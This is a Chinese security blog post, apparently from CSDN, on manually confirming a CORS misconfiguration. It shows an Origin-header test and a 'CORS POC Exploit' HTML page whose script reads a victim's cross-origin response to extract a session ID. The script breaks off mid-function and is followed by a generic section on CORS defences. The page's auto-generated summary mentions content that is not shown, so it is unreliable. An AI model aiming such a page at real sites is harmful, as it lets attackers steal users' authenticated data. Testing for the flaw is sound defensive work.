一次CORS漏洞的手工验证

本文介绍了在进行安全扫描时发现CORS漏洞后如何手工验证,通过在API请求中添加特定headers来检查漏洞存在性。同时,文章提供了一个POC代码示例,警示了若攻击者利用此漏洞可能引发的危害,如数据泄露或IP误导。并以百度的安全设置为例,提出修复方法,包括无弹出框和隐藏的POC代码,以增强前端接口的安全性。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

给项目接口做安全扫描的时候,发现有个CORS漏洞:
在这里插入图片描述
但仅仅扫出来还不够,需要手工验证一下

手工验证方式

在正常的api请求处,headers加入"origin":"http://xx.xx.xx.xx", 如果接口正常返回了数据且headers里包含

access-control-allow-credentials : true
access-control-allow-origin : http://xx.xx.xx.xx

就说明这个接口确实存在CORS漏洞


poc代码

<html>
<body>
<center>
<h2>CORS POC Exploit</h2>
<h3>Extract SID</h3>

<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>

<script>
function cors() {
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    console.log(xhttp.responseText);
    if (this.readyState == 4 && this.status == 200) {
    document.getElementById("demo").innerHTML = alert(this.responseText);
    }
  };
   
### CORS漏洞原理 CORS(Cross-Origin Resource Sharing),即跨源资源共享,是由W3C制定的一项标准[^3]。这项技术允许Web应用通过在HTTP响应头中加入特定字段告知浏览器哪些外部域名可以访问当前站点资源。当一个请求来自不同的源(协议、域名或端口有所不同),则被认为是跨域请求。 如果服务器对于这些跨域请求缺乏严格的验证机制,则可能导致未经授权的数据泄露或其他恶意行为的发生,这就是所谓的CORS漏洞[^2]。 ### 防御方法 为了有效防止CORS相关的安全隐患,应当采取如下措施: #### 正确配置Access-Control-Allow-Origin Header 确保`Access-Control-Allow-Origin`头部只接受可信来源的请求,并尽可能具体地指定允许访问的源而不是使用通配符(*)[^1]。 ```http Access-Control-Allow-Origin: https://example.com ``` #### 实施预检请求(Pre-flight Requests) 对于非简单请求(如PUT, DELETE等方法或者带有自定义header的情况),浏览器会先发送一次OPTIONS请求作为预检,询问实际请求是否被允许执行。服务端应对此类请求做出恰当回应并设置相应的headers来表明后续真实请求能否被执行以及可携带的内容类型等信息。 ```http Access-Control-Allow-Methods: GET, POST, PUT Access-Control-Allow-Headers: X-Custom-Header ``` #### 使用凭证(Credentials)时需谨慎处理 当涉及到敏感数据传输时(比如涉及Cookies或Authorization headers),应该严格限制那些能够附带credentials属性为true的跨站请求的目标地址列表,并且不允许它们与通配符一起使用。 ```javascript fetch('https://api.example.com/data', { method: 'GET', credentials: 'include' }); ``` #### 定期审查和更新安全策略 随着业务逻辑的变化和技术的发展,定期评估现有的CORS政策是非常重要的。这有助于及时发现潜在的风险点并对现有防护手段作出相应调整。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值